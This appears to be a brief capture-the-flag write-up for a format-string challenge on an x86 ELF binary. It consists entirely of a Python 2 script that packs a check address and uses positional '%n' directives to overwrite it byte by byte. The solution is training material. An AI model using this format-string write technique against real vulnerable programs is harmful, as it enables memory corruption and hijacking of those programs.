

# ELF x86 - Format string bug

## basic 2

```
import struct

CHECK_ADDR = <addr>

exploit = ""
exploit += struct.pack("I", CHECK_ADDR)    # $9
exploit += struct.pack("I", CHECK_ADDR + 1) # $10
exploit += struct.pack("I", CHECK_ADDR + 2) # $11
exploit += struct.pack("I", CHECK_ADDR + 3) # $12

exploit += "%9$223x"
exploit += "%9$n"

exploit += "%10$207x"
exploit += "%10$n"

exploit += "%11$239x"
exploit += "%11$n"

exploit += "%12$305x"
exploit += "%12$n"

print exploit
```

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